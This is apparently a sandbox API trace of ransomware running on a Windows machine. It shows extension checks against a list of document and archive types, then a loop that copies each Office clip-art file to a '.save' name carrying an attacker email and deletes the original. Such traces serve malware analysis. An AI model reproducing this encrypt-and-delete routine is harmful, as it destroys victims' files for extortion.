lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] lstrlenW (lpString=".doc") returned 4 [0208.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString=".docx") returned 5 [0208.326] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0208.326] lstrlenW (lpString=".pdf") returned 4 [0208.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString=".xls") returned 4 [0208.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.326] lstrlenW (lpString=".xlsx") returned 5 [0208.326] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0208.326] lstrlenW (lpString=".ppt") returned 4 [0208.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.326] lstrlenW (lpString=".zip") returned 4 [0208.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.327] lstrlenW (lpString=".rar") returned 4 [0208.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.327] lstrlenW (lpString=".bz2") returned 4 [0208.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.327] lstrlenW (lpString=".7z") returned 3 [0208.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.327] lstrlenW (lpString=".dbf") returned 4 [0208.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.327] lstrlenW (lpString=".1cd") returned 4 [0208.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0208.327] lstrlenW (lpString=".jpg") returned 4 [0208.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.327] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0208.327] lstrlenW (lpString="J0099191.JPG") returned 12 [0208.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.328] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=62367) returned 1 [0208.328] CloseHandle (hObject=0x37c) returned 1 [0208.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0208.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.328] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.328] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.329] GetLastError () returned 0x0 [0208.329] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0208.331] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0208.333] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.333] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.333] SetEndOfFile (hFile=0x380) returned 1 [0208.334] CloseHandle (hObject=0x380) returned 1 [0208.334] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.334] SetEndOfFile (hFile=0x37c) returned 1 [0208.335] CloseHandle (hObject=0x37c) returned 1 [0208.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0208.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.336] lstrlenW (lpString=".doc") returned 4 [0208.336] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.336] lstrlenW (lpString=".docx") returned 5 [0208.336] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0208.336] lstrlenW (lpString=".pdf") returned 4 [0208.336] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.336] lstrlenW (lpString=".xls") returned 4 [0208.336] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.336] lstrlenW (lpString=".xlsx") returned 5 [0208.336] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0208.336] lstrlenW (lpString=".ppt") returned 4 [0208.336] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.336] lstrlenW (lpString=".zip") returned 4 [0208.336] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.336] lstrlenW (lpString=".rar") returned 4 [0208.336] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.336] lstrlenW (lpString=".bz2") returned 4 [0208.336] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.336] lstrlenW (lpString=".7z") returned 3 [0208.336] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString=".dbf") returned 4 [0208.337] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString=".1cd") returned 4 [0208.337] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString=".jpg") returned 4 [0208.337] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString=".doc") returned 4 [0208.337] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.337] lstrlenW (lpString=".docx") returned 5 [0208.337] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0208.337] lstrlenW (lpString=".pdf") returned 4 [0208.337] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.337] lstrlenW (lpString=".xls") returned 4 [0208.337] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.337] lstrlenW (lpString=".xlsx") returned 5 [0208.337] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0208.337] lstrlenW (lpString=".ppt") returned 4 [0208.337] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.337] lstrlenW (lpString=".zip") returned 4 [0208.337] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.337] lstrlenW (lpString=".rar") returned 4 [0208.337] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.337] lstrlenW (lpString=".bz2") returned 4 [0208.337] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.338] lstrlenW (lpString=".7z") returned 3 [0208.338] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.338] lstrlenW (lpString=".dbf") returned 4 [0208.338] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.338] lstrlenW (lpString=".1cd") returned 4 [0208.338] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0208.338] lstrlenW (lpString=".jpg") returned 4 [0208.338] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.338] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.338] lstrlenW (lpString="J0099192.GIF") returned 12 [0208.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.338] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=17964) returned 1 [0208.338] CloseHandle (hObject=0x37c) returned 1 [0208.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0208.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.339] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.339] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.340] GetLastError () returned 0x0 [0208.340] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x462c, lpOverlapped=0x0) returned 1 [0208.341] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4630, lpOverlapped=0x0) returned 1 [0208.342] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.342] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.343] SetEndOfFile (hFile=0x380) returned 1 [0208.343] CloseHandle (hObject=0x380) returned 1 [0208.343] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.343] SetEndOfFile (hFile=0x37c) returned 1 [0208.344] CloseHandle (hObject=0x37c) returned 1 [0208.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0208.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.345] lstrlenW (lpString=".doc") returned 4 [0208.345] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.345] lstrlenW (lpString=".docx") returned 5 [0208.345] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0208.345] lstrlenW (lpString=".pdf") returned 4 [0208.345] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.345] lstrlenW (lpString=".xls") returned 4 [0208.345] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString=".xlsx") returned 5 [0208.346] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0208.346] lstrlenW (lpString=".ppt") returned 4 [0208.346] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString=".zip") returned 4 [0208.346] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString=".rar") returned 4 [0208.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString=".bz2") returned 4 [0208.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.346] lstrlenW (lpString=".7z") returned 3 [0208.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString=".dbf") returned 4 [0208.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString=".1cd") returned 4 [0208.346] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString=".jpg") returned 4 [0208.346] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.346] lstrlenW (lpString=".doc") returned 4 [0208.346] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.346] lstrlenW (lpString=".docx") returned 5 [0208.346] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0208.346] lstrlenW (lpString=".pdf") returned 4 [0208.346] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.346] lstrlenW (lpString=".xls") returned 4 [0208.346] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.347] lstrlenW (lpString=".xlsx") returned 5 [0208.347] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0208.347] lstrlenW (lpString=".ppt") returned 4 [0208.347] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.347] lstrlenW (lpString=".zip") returned 4 [0208.347] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.347] lstrlenW (lpString=".rar") returned 4 [0208.347] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.347] lstrlenW (lpString=".bz2") returned 4 [0208.347] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.347] lstrlenW (lpString=".7z") returned 3 [0208.347] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.347] lstrlenW (lpString=".dbf") returned 4 [0208.347] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.347] lstrlenW (lpString=".1cd") returned 4 [0208.347] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0208.347] lstrlenW (lpString=".jpg") returned 4 [0208.347] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.347] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.347] lstrlenW (lpString="J0099193.GIF") returned 12 [0208.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.348] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=35546) returned 1 [0208.348] CloseHandle (hObject=0x37c) returned 1 [0208.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0208.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.348] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.348] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.349] GetLastError () returned 0x0 [0208.350] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0208.351] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0208.655] ReadFile (in: hFile=0x37c, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.655] WriteFile (in: hFile=0x380, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.655] SetEndOfFile (hFile=0x380) returned 1 [0208.655] CloseHandle (hObject=0x380) returned 1 [0208.655] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.655] SetEndOfFile (hFile=0x37c) returned 1 [0208.656] CloseHandle (hObject=0x37c) returned 1 [0208.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0208.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.658] lstrlenW (lpString=".doc") returned 4 [0208.658] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.658] lstrlenW (lpString=".docx") returned 5 [0208.658] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0208.658] lstrlenW (lpString=".pdf") returned 4 [0208.658] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.658] lstrlenW (lpString=".xls") returned 4 [0208.658] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.658] lstrlenW (lpString=".xlsx") returned 5 [0208.658] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0208.658] lstrlenW (lpString=".ppt") returned 4 [0208.658] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.658] lstrlenW (lpString=".zip") returned 4 [0208.658] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.658] lstrlenW (lpString=".rar") returned 4 [0208.658] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.658] lstrlenW (lpString=".bz2") returned 4 [0208.658] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.658] lstrlenW (lpString=".7z") returned 3 [0208.658] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.658] lstrlenW (lpString=".dbf") returned 4 [0208.658] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.659] lstrlenW (lpString=".1cd") returned 4 [0208.659] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.659] lstrlenW (lpString=".jpg") returned 4 [0208.659] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0208.659] lstrlenW (lpString=".doc") returned 4 [0208.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.659] lstrlenW (lpString=".docx") returned 5 [0208.659] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0208.659] lstrlenW (lpString=".pdf") returned 4 [0208.659] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString=".xls") returned 4 [0208.659] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.659] lstrlenW (lpString=".xlsx") returned 5 